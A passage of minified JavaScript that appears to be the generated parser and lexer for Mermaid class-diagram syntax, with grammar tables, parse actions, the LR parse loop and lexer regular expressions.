descr_multiline_value:37,namespaceIdentifier:38,STRUCT_START:39,classStatements:40,STRUCT_STOP:41,NAMESPACE:42,classIdentifier:43,STYLE_SEPARATOR:44,members:45,CLASS:46,emptyBody:47,SPACE:48,ANNOTATION_START:49,ANNOTATION_END:50,MEMBER:51,SEPARATOR:52,relation:53,NOTE_FOR:54,noteText:55,NOTE:56,CLASSDEF:57,classList:58,stylesOpt:59,ALPHA:60,COMMA:61,direction_tb:62,direction_bt:63,direction_rl:64,direction_lr:65,relationType:66,lineType:67,AGGREGATION:68,EXTENSION:69,COMPOSITION:70,DEPENDENCY:71,LOLLIPOP:72,LINE:73,DOTTED_LINE:74,CALLBACK:75,LINK:76,LINK_TARGET:77,CLICK:78,CALLBACK_NAME:79,CALLBACK_ARGS:80,HREF:81,STYLE:82,CSSCLASS:83,style:84,styleComponent:85,NUM:86,COLON:87,UNIT:88,BRKT:89,PCT:90,commentToken:91,textToken:92,graphCodeTokens:93,textNoTagsToken:94,TAGSTART:95,TAGEND:96,"==":97,"--":98,DEFAULT:99,MINUS:100,keywords:101,UNICODE_TEXT:102,BQUOTE_STR:103,$accept:0,$end:1},terminals_:{2:"error",7:"CLASS_DIAGRAM",8:"NEWLINE",9:"EOF",12:"SQS",13:"STR",14:"SQE",18:"DOT",20:"GENERICTYPE",22:"LABEL",33:"acc_title",34:"acc_title_value",35:"acc_descr",36:"acc_descr_value",37:"acc_descr_multiline_value",39:"STRUCT_START",41:"STRUCT_STOP",42:"NAMESPACE",44:"STYLE_SEPARATOR",46:"CLASS",48:"SPACE",49:"ANNOTATION_START",50:"ANNOTATION_END",51:"MEMBER",52:"SEPARATOR",54:"NOTE_FOR",56:"NOTE",57:"CLASSDEF",60:"ALPHA",61:"COMMA",62:"direction_tb",63:"direction_bt",64:"direction_rl",65:"direction_lr",68:"AGGREGATION",69:"EXTENSION",70:"COMPOSITION",71:"DEPENDENCY",72:"LOLLIPOP",73:"LINE",74:"DOTTED_LINE",75:"CALLBACK",76:"LINK",77:"LINK_TARGET",78:"CLICK",79:"CALLBACK_NAME",80:"CALLBACK_ARGS",81:"HREF",82:"STYLE",83:"CSSCLASS",86:"NUM",87:"COLON",88:"UNIT",89:"BRKT",90:"PCT",93:"graphCodeTokens",95:"TAGSTART",96:"TAGEND",97:"==",98:"--",99:"DEFAULT",100:"MINUS",101:"keywords",102:"UNICODE_TEXT",103:"BQUOTE_STR"},productions_:[0,[3,1],[3,1],[4,1],[6,4],[5,1],[5,2],[5,3],[11,3],[15,1],[15,1],[15,3],[15,2],[19,1],[19,3],[19,1],[19,2],[19,2],[19,2],[10,1],[10,2],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,1],[10,2],[10,2],[10,1],[23,4],[23,5],[38,2],[40,1],[40,2],[40,3],[24,1],[24,3],[24,4],[24,3],[24,6],[43,2],[43,3],[47,0],[47,2],[47,2],[26,4],[45,1],[45,2],[25,1],[25,2],[25,1],[25,1],[21,3],[21,4],[21,4],[21,5],[30,3],[30,2],[31,3],[58,1],[58,3],[32,1],[32,1],[32,1],[32,1],[53,3],[53,2],[53,2],[53,1],[66,1],[66,1],[66,1],[66,1],[66,1],[67,1],[67,1],[27,3],[27,4],[27,3],[27,4],[27,4],[27,5],[27,3],[27,4],[27,4],[27,5],[27,4],[27,5],[27,5],[27,6],[28,3],[29,3],[59,1],[59,3],[84,1],[84,2],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[85,1],[91,1],[91,1],[92,1],[92,1],[92,1],[92,1],[92,1],[92,1],[92,1],[94,1],[94,1],[94,1],[94,1],[16,1],[16,1],[16,1],[16,1],[17,1],[55,1]],performAction:o(function(Ne,Ce,Fe,fe,xe,W,he){var z=W.length-1;switch(xe){case 8:this.$=W[z-1];break;case 9:case 10:case 13:case 15:this.$=W[z];break;case 11:case 14:this.$=W[z-2]+"."+W[z];break;case 12:case 16:this.$=W[z-1]+W[z];break;case 17:case 18:this.$=W[z-1]+"~"+W[z]+"~";break;case 19:fe.addRelation(W[z]);break;case 20:W[z-1].title=fe.cleanupLabel(W[z]),fe.addRelation(W[z-1]);break;case 31:this.$=W[z].trim(),fe.setAccTitle(this.$);break;case 32:case 33:this.$=W[z].trim(),fe.setAccDescription(this.$);break;case 34:fe.addClassesToNamespace(W[z-3],W[z-1]);break;case 35:fe.addClassesToNamespace(W[z-4],W[z-1]);break;case 36:this.$=W[z],fe.addNamespace(W[z]);break;case 37:this.$=[W[z]];break;case 38:this.$=[W[z-1]];break;case 39:W[z].unshift(W[z-2]),this.$=W[z];break;case 41:fe.setCssClass(W[z-2],W[z]);break;case 42:fe.addMembers(W[z-3],W[z-1]);break;case 44:fe.setCssClass(W[z-5],W[z-3]),fe.addMembers(W[z-5],W[z-1]);break;case 45:this.$=W[z],fe.addClass(W[z]);break;case 46:this.$=W[z-1],fe.addClass(W[z-1]),fe.setClassLabel(W[z-1],W[z]);break;case 50:fe.addAnnotation(W[z],W[z-2]);break;case 51:case 64:this.$=[W[z]];break;case 52:W[z].push(W[z-1]),this.$=W[z];break;case 53:break;case 54:fe.addMember(W[z-1],fe.cleanupLabel(W[z]));break;case 55:break;case 56:break;case 57:this.$={id1:W[z-2],id2:W[z],relation:W[z-1],relationTitle1:"none",relationTitle2:"none"};break;case 58:this.$={id1:W[z-3],id2:W[z],relation:W[z-1],relationTitle1:W[z-2],relationTitle2:"none"};break;case 59:this.$={id1:W[z-3],id2:W[z],relation:W[z-2],relationTitle1:"none",relationTitle2:W[z-1]};break;case 60:this.$={id1:W[z-4],id2:W[z],relation:W[z-2],relationTitle1:W[z-3],relationTitle2:W[z-1]};break;case 61:fe.addNote(W[z],W[z-1]);break;case 62:fe.addNote(W[z]);break;case 63:this.$=W[z-2],fe.defineClass(W[z-1],W[z]);break;case 65:this.$=W[z-2].concat([W[z]]);break;case 66:fe.setDirection("TB");break;case 67:fe.setDirection("BT");break;case 68:fe.setDirection("RL");break;case 69:fe.setDirection("LR");break;case 70:this.$={type1:W[z-2],type2:W[z],lineType:W[z-1]};break;case 71:this.$={type1:"none",type2:W[z],lineType:W[z-1]};break;case 72:this.$={type1:W[z-1],type2:"none",lineType:W[z]};break;case 73:this.$={type1:"none",type2:"none",lineType:W[z]};break;case 74:this.$=fe.relationType.AGGREGATION;break;case 75:this.$=fe.relationType.EXTENSION;break;case 76:this.$=fe.relationType.COMPOSITION;break;case 77:this.$=fe.relationType.DEPENDENCY;break;case 78:this.$=fe.relationType.LOLLIPOP;break;case 79:this.$=fe.lineType.LINE;break;case 80:this.$=fe.lineType.DOTTED_LINE;break;case 81:case 87:this.$=W[z-2],fe.setClickEvent(W[z-1],W[z]);break;case 82:case 88:this.$=W[z-3],fe.setClickEvent(W[z-2],W[z-1]),fe.setTooltip(W[z-2],W[z]);break;case 83:this.$=W[z-2],fe.setLink(W[z-1],W[z]);break;case 84:this.$=W[z-3],fe.setLink(W[z-2],W[z-1],W[z]);break;case 85:this.$=W[z-3],fe.setLink(W[z-2],W[z-1]),fe.setTooltip(W[z-2],W[z]);break;case 86:this.$=W[z-4],fe.setLink(W[z-3],W[z-2],W[z]),fe.setTooltip(W[z-3],W[z-1]);break;case 89:this.$=W[z-3],fe.setClickEvent(W[z-2],W[z-1],W[z]);break;case 90:this.$=W[z-4],fe.setClickEvent(W[z-3],W[z-2],W[z-1]),fe.setTooltip(W[z-3],W[z]);break;case 91:this.$=W[z-3],fe.setLink(W[z-2],W[z]);break;case 92:this.$=W[z-4],fe.setLink(W[z-3],W[z-1],W[z]);break;case 93:this.$=W[z-4],fe.setLink(W[z-3],W[z-1]),fe.setTooltip(W[z-3],W[z]);break;case 94:this.$=W[z-5],fe.setLink(W[z-4],W[z-2],W[z]),fe.setTooltip(W[z-4],W[z-1]);break;case 95:this.$=W[z-2],fe.setCssStyle(W[z-1],W[z]);break;case 96:fe.setCssClass(W[z-1],W[z]);break;case 97:this.$=[W[z]];break;case 98:W[z-2].push(W[z]),this.$=W[z-2];break;case 100:this.$=W[z-1]+W[z];break}},"anonymous"),table:[{3:1,4:2,5:3,6:4,7:[1,6],10:5,16:39,17:40,19:21,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,33:e,35:r,37:n,38:22,42:i,43:23,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R},{1:[3]},{1:[2,1]},{1:[2,2]},{1:[2,3]},t(I,[2,5],{8:[1,48]}),{8:[1,49]},t(L,[2,19],{22:[1,50]}),t(L,[2,21]),t(L,[2,22]),t(L,[2,23]),t(L,[2,24]),t(L,[2,25]),t(L,[2,26]),t(L,[2,27]),t(L,[2,28]),t(L,[2,29]),t(L,[2,30]),{34:[1,51]},{36:[1,52]},t(L,[2,33]),t(L,[2,53],{53:53,66:56,67:57,13:[1,54],22:[1,55],68:E,69:D,70:_,71:O,72:M,73:P,74:B}),{39:[1,65]},t(F,[2,40],{39:[1,67],44:[1,66]}),t(L,[2,55]),t(L,[2,56]),{16:68,60:p,86:k,100:A,102:C},{16:39,17:40,19:69,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:70,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:71,60:p,86:k,100:A,102:C,103:R},{60:[1,72]},{13:[1,73]},{16:39,17:40,19:74,60:p,86:k,100:A,102:C,103:R},{13:G,55:75},{58:77,60:[1,78]},t(L,[2,66]),t(L,[2,67]),t(L,[2,68]),t(L,[2,69]),t($,[2,13],{16:39,17:40,19:80,18:[1,79],20:[1,81],60:p,86:k,100:A,102:C,103:R}),t($,[2,15],{20:[1,82]}),{15:83,16:84,17:85,60:p,86:k,100:A,102:C,103:R},{16:39,17:40,19:86,60:p,86:k,100:A,102:C,103:R},t(U,[2,123]),t(U,[2,124]),t(U,[2,125]),t(U,[2,126]),t([1,8,9,12,13,20,22,39,41,44,68,69,70,71,72,73,74,79,81],[2,127]),t(I,[2,6],{10:5,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,19:21,38:22,43:23,16:39,17:40,5:87,33:e,35:r,37:n,42:i,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R}),{5:88,10:5,16:39,17:40,19:21,21:7,23:8,24:9,25:10,26:11,27:12,28:13,29:14,30:15,31:16,32:17,33:e,35:r,37:n,38:22,42:i,43:23,46:a,49:s,51:l,52:u,54:h,56:f,57:d,60:p,62:m,63:g,64:y,65:v,75:x,76:b,78:T,82:S,83:w,86:k,100:A,102:C,103:R},t(L,[2,20]),t(L,[2,31]),t(L,[2,32]),{13:[1,90],16:39,17:40,19:89,60:p,86:k,100:A,102:C,103:R},{53:91,66:56,67:57,68:E,69:D,70:_,71:O,72:M,73:P,74:B},t(L,[2,54]),{67:92,73:P,74:B},t(j,[2,73],{66:93,68:E,69:D,70:_,71:O,72:M}),t(te,[2,74]),t(te,[2,75]),t(te,[2,76]),t(te,[2,77]),t(te,[2,78]),t(Y,[2,79]),t(Y,[2,80]),{8:[1,95],24:96,40:94,43:23,46:a},{16:97,60:p,86:k,100:A,102:C},{41:[1,99],45:98,51:oe},{50:[1,101]},{13:[1,102]},{13:[1,103]},{79:[1,104],81:[1,105]},{22:J,48:ue,59:106,60:re,82:ee,84:107,85:108,86:Z,87:K,88:ae,89:Q,90:de},{60:[1,118]},{13:G,55:119},t(L,[2,62]),t(L,[2,128]),{22:J,48:ue,59:120,60:re,61:[1,121],82:ee,84:107,85:108,86:Z,87:K,88:ae,89:Q,90:de},t(ne,[2,64]),{16:39,17:40,19:122,60:p,86:k,100:A,102:C,103:R},t($,[2,16]),t($,[2,17]),t($,[2,18]),{39:[2,36]},{15:124,16:84,17:85,18:[1,123],39:[2,9],60:p,86:k,100:A,102:C,103:R},{39:[2,10]},t(Te,[2,45],{11:125,12:[1,126]}),t(I,[2,7]),{9:[1,127]},t(q,[2,57]),{16:39,17:40,19:128,60:p,86:k,100:A,102:C,103:R},{13:[1,130],16:39,17:40,19:129,60:p,86:k,100:A,102:C,103:R},t(j,[2,72],{66:131,68:E,69:D,70:_,71:O,72:M}),t(j,[2,71]),{41:[1,132]},{24:96,40:133,43:23,46:a},{8:[1,134],41:[2,37]},t(F,[2,41],{39:[1,135]}),{41:[1,136]},t(F,[2,43]),{41:[2,51],45:137,51:oe},{16:39,17:40,19:138,60:p,86:k,100:A,102:C,103:R},t(L,[2,81],{13:[1,139]}),t(L,[2,83],{13:[1,141],77:[1,140]}),t(L,[2,87],{13:[1,142],80:[1,143]}),{13:[1,144]},t(L,[2,95],{61:Ve}),t(pe,[2,97],{85:146,22:J,48:ue,60:re,82:ee,86:Z,87:K,88:ae,89:Q,90:de}),t(Be,[2,99]),t(Be,[2,101]),t(Be,[2,102]),t(Be,[2,103]),t(Be,[2,104]),t(Be,[2,105]),t(Be,[2,106]),t(Be,[2,107]),t(Be,[2,108]),t(Be,[2,109]),t(L,[2,96]),t(L,[2,61]),t(L,[2,63],{61:Ve}),{60:[1,147]},t($,[2,14]),{15:148,16:84,17:85,60:p,86:k,100:A,102:C,103:R},{39:[2,12]},t(Te,[2,46]),{13:[1,149]},{1:[2,4]},t(q,[2,59]),t(q,[2,58]),{16:39,17:40,19:150,60:p,86:k,100:A,102:C,103:R},t(j,[2,70]),t(L,[2,34]),{41:[1,151]},{24:96,40:152,41:[2,38],43:23,46:a},{45:153,51:oe},t(F,[2,42]),{41:[2,52]},t(L,[2,50]),t(L,[2,82]),t(L,[2,84]),t(L,[2,85],{77:[1,154]}),t(L,[2,88]),t(L,[2,89],{13:[1,155]}),t(L,[2,91],{13:[1,157],77:[1,156]}),{22:J,48:ue,60:re,82:ee,84:158,85:108,86:Z,87:K,88:ae,89:Q,90:de},t(Be,[2,100]),t(ne,[2,65]),{39:[2,11]},{14:[1,159]},t(q,[2,60]),t(L,[2,35]),{41:[2,39]},{41:[1,160]},t(L,[2,86]),t(L,[2,90]),t(L,[2,92]),t(L,[2,93],{77:[1,161]}),t(pe,[2,98],{85:146,22:J,48:ue,60:re,82:ee,86:Z,87:K,88:ae,89:Q,90:de}),t(Te,[2,8]),t(F,[2,44]),t(L,[2,94])],defaultActions:{2:[2,1],3:[2,2],4:[2,3],83:[2,36],85:[2,10],124:[2,12],127:[2,4],137:[2,52],148:[2,11],152:[2,39]},parseError:o(function(Ne,Ce){if(Ce.recoverable)this.trace(Ne);else{var Fe=new Error(Ne);throw Fe.hash=Ce,Fe}},"parseError"),parse:o(function(Ne){var Ce=this,Fe=[0],fe=[],xe=[null],W=[],he=this.table,z="",se=0,le=0,ke=0,ve=2,ye=1,Re=W.slice.call(arguments,1),_e=Object.create(this.lexer),ze={yy:{}};for(var Ke in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Ke)&&(ze.yy[Ke]=this.yy[Ke]);_e.setInput(Ne,ze.yy),ze.yy.lexer=_e,ze.yy.parser=this,typeof _e.yylloc>"u"&&(_e.yylloc={});var xt=_e.yylloc;W.push(xt);var We=_e.options&&_e.options.ranges;typeof ze.yy.parseError=="function"?this.parseError=ze.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function Oe(_t){Fe.length=Fe.length-2*_t,xe.length=xe.length-_t,W.length=W.length-_t}o(Oe,"popStack");function et(){var _t;return _t=fe.pop()||_e.lex()||ye,typeof _t!="number"&&(_t instanceof Array&&(fe=_t,_t=fe.pop()),_t=Ce.symbols_[_t]||_t),_t}o(et,"lex");for(var Ue,lt,Gt,vt,Lt,dt,nt={},bt,wt,yt,ft;;){if(Gt=Fe[Fe.length-1],this.defaultActions[Gt]?vt=this.defaultActions[Gt]:((Ue===null||typeof Ue>"u")&&(Ue=et()),vt=he[Gt]&&he[Gt][Ue]),typeof vt>"u"||!vt.length||!vt[0]){var Ur="";ft=[];for(bt in he[Gt])this.terminals_[bt]&&bt>ve&&ft.push("'"+this.terminals_[bt]+"'");_e.showPosition?Ur="Parse error on line "+(se+1)+`: +`+_e.showPosition()+` +Expecting `+ft.join(", ")+", got '"+(this.terminals_[Ue]||Ue)+"'":Ur="Parse error on line "+(se+1)+": Unexpected "+(Ue==ye?"end of input":"'"+(this.terminals_[Ue]||Ue)+"'"),this.parseError(Ur,{text:_e.match,token:this.terminals_[Ue]||Ue,line:_e.yylineno,loc:xt,expected:ft})}if(vt[0]instanceof Array&&vt.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Gt+", token: "+Ue);switch(vt[0]){case 1:Fe.push(Ue),xe.push(_e.yytext),W.push(_e.yylloc),Fe.push(vt[1]),Ue=null,lt?(Ue=lt,lt=null):(le=_e.yyleng,z=_e.yytext,se=_e.yylineno,xt=_e.yylloc,ke>0&&ke--);break;case 2:if(wt=this.productions_[vt[1]][1],nt.$=xe[xe.length-wt],nt._$={first_line:W[W.length-(wt||1)].first_line,last_line:W[W.length-1].last_line,first_column:W[W.length-(wt||1)].first_column,last_column:W[W.length-1].last_column},We&&(nt._$.range=[W[W.length-(wt||1)].range[0],W[W.length-1].range[1]]),dt=this.performAction.apply(nt,[z,le,se,ze.yy,vt[1],xe,W].concat(Re)),typeof dt<"u")return dt;wt&&(Fe=Fe.slice(0,-1*wt*2),xe=xe.slice(0,-1*wt),W=W.slice(0,-1*wt)),Fe.push(this.productions_[vt[1]][0]),xe.push(nt.$),W.push(nt._$),yt=he[Fe[Fe.length-2]][Fe[Fe.length-1]],Fe.push(yt);break;case 3:return!0}}return!0},"parse")},He=(function(){var Ie={EOF:1,parseError:o(function(Ce,Fe){if(this.yy.parser)this.yy.parser.parseError(Ce,Fe);else throw new Error(Ce)},"parseError"),setInput:o(function(Ne,Ce){return this.yy=Ce||this.yy||{},this._input=Ne,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Ne=this._input[0];this.yytext+=Ne,this.yyleng++,this.offset++,this.match+=Ne,this.matched+=Ne;var Ce=Ne.match(/(?:\r\n?|\n).*/g);return Ce?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Ne},"input"),unput:o(function(Ne){var Ce=Ne.length,Fe=Ne.split(/(?:\r\n?|\n)/g);this._input=Ne+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Ce),this.offset-=Ce;var fe=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),Fe.length-1&&(this.yylineno-=Fe.length-1);var xe=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:Fe?(Fe.length===fe.length?this.yylloc.first_column:0)+fe[fe.length-Fe.length].length-Fe[0].length:this.yylloc.first_column-Ce},this.options.ranges&&(this.yylloc.range=[xe[0],xe[0]+this.yyleng-Ce]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Ne){this.unput(this.match.slice(Ne))},"less"),pastInput:o(function(){var Ne=this.matched.substr(0,this.matched.length-this.match.length);return(Ne.length>20?"...":"")+Ne.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Ne=this.match;return Ne.length<20&&(Ne+=this._input.substr(0,20-Ne.length)),(Ne.substr(0,20)+(Ne.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Ne=this.pastInput(),Ce=new Array(Ne.length+1).join("-");return Ne+this.upcomingInput()+` +`+Ce+"^"},"showPosition"),test_match:o(function(Ne,Ce){var Fe,fe,xe;if(this.options.backtrack_lexer&&(xe={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(xe.yylloc.range=this.yylloc.range.slice(0))),fe=Ne[0].match(/(?:\r\n?|\n).*/g),fe&&(this.yylineno+=fe.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:fe?fe[fe.length-1].length-fe[fe.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Ne[0].length},this.yytext+=Ne[0],this.match+=Ne[0],this.matches=Ne,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Ne[0].length),this.matched+=Ne[0],Fe=this.performAction.call(this,this.yy,this,Ce,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),Fe)return Fe;if(this._backtrack){for(var W in xe)this[W]=xe[W];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Ne,Ce,Fe,fe;this._more||(this.yytext="",this.match="");for(var xe=this._currentRules(),W=0;WCe[0].length)){if(Ce=Fe,fe=W,this.options.backtrack_lexer){if(Ne=this.test_match(Fe,xe[W]),Ne!==!1)return Ne;if(this._backtrack){Ce=!1;continue}else return!1}else if(!this.options.flex)break}return Ce?(Ne=this.test_match(Ce,xe[fe]),Ne!==!1?Ne:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Ce=this.next();return Ce||this.lex()},"lex"),begin:o(function(Ce){this.conditionStack.push(Ce)},"begin"),popState:o(function(){var Ce=this.conditionStack.length-1;return Ce>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Ce){return Ce=this.conditionStack.length-1-Math.abs(Ce||0),Ce>=0?this.conditionStack[Ce]:"INITIAL"},"topState"),pushState:o(function(Ce){this.begin(Ce)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(Ce,Fe,fe,xe){var W=xe;switch(fe){case 0:return 62;case 1:return 63;case 2:return 64;case 3:return 65;case 4:break;case 5:break;case 6:return this.begin("acc_title"),33;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),35;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:return 8;case 14:break;case 15:return 7;case 16:return 7;case 17:return"EDGE_STATE";case 18:this.begin("callback_name");break;case 19:this.popState();break;case 20:this.popState(),this.begin("callback_args");break;case 21:return 79;case 22:this.popState();break;case 23:return 80;case 24:this.popState();break;case 25:return"STR";case 26:this.begin("string");break;case 27:return 82;case 28:return 57;case 29:return this.begin("namespace"),42;break;case 30:return this.popState(),8;break;case 31:break;case 32:return this.begin("namespace-body"),39;break;case 33:return this.popState(),41;break;case 34:return"EOF_IN_STRUCT";case 35:return 8;case 36:break;case 37:return"EDGE_STATE";case 38:return this.begin("class"),46;break;case 39:return this.popState(),8;break;case 40:break;case 41:return this.popState(),this.popState(),41;break;case 42:return this.begin("class-body"),39;break;case 43:return this.popState(),41;break;case 44:return"EOF_IN_STRUCT";case 45:return"EDGE_STATE";case 46:return"OPEN_IN_STRUCT";case 47:break;case 48:return"MEMBER";case 49:return 83;case 50:return 75;case 51:return 76;case 52:return 78;case 53:return 54;case 54:return 56;case 55:return 49;case 56:return 50;case 57:return 81;case 58:this.popState();break;case 59:return"GENERICTYPE";case 60:this.begin("generic");break;case 61:this.popState();break;case 62:return"BQUOTE_STR";case 63:this.begin("bqstring");break;case 64:return 77;case 65:return 77;case 66:return 77;case 67:return 77;case 68:return 69;case 69:return 69;case 70:return 71;case 71:return 71;case 72:return 70;case 73:return 68;case 74:return 72;case 75:return 73;case 76:return 74;case 77:return 22;case 78:return 44;case 79:return 100;case 80:return 18;case 81:return"PLUS";case 82:return 87;case 83:return 61;case 84:return 89;case 85:return 89;case 86:return 90;case 87:return"EQUALS";case 88:return"EQUALS";case 89:return 60;case 90:return 12;case 91:return 14;case 92:return"PUNCTUATION";case 93:return 86;case 94:return 102;case 95:return 48;case 96:return 48;case 97:return 9}},"anonymous"),rules:[/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:classDiagram-v2\b)/,/^(?:classDiagram\b)/,/^(?:\[\*\])/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:["])/,/^(?:[^"]*)/,/^(?:["])/,/^(?:style\b)/,/^(?:classDef\b)/,/^(?:namespace\b)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:[{])/,/^(?:[}])/,/^(?:$)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:\[\*\])/,/^(?:class\b)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:[}])/,/^(?:[{])/,/^(?:[}])/,/^(?:$)/,/^(?:\[\*\])/,/^(?:[{])/,/^(?:[\n])/,/^(?:[^{}\n]*)/,/^(?:cssClass\b)/,/^(?:callback\b)/,/^(?:link\b)/,/^(?:click\b)/,/^(?:note for\b)/,/^(?:note\b)/,/^(?:<<)/,/^(?:>>)/,/^(?:href\b)/,/^(?:[~])/,/^(?:[^~]*)/,/^(?:~)/,/^(?:[`])/,/^(?:[^`]+)/,/^(?:[`])/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:\s*<\|)/,/^(?:\s*\|>)/,/^(?:\s*>)/,/^(?:\s*<)/,/^(?:\s*\*)/,/^(?:\s*o\b)/,/^(?:\s*\(\))/,/^(?:--)/,/^(?:\.\.)/,/^(?::{1}[^:\n;]+)/,/^(?::{3})/,/^(?:-)/,/^(?:\.)/,/^(?:\+)/,/^(?::)/,/^(?:,)/,/^(?:#)/,/^(?:#)/,/^(?:%)/,/^(?:=)/,/^(?:=)/,/^(?:\w+)/,/^(?:\[)/,/^(?:\])/,/^(?:[!"#$%&'*+,-.`?\\/])/,/^(?:[0-9]+)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C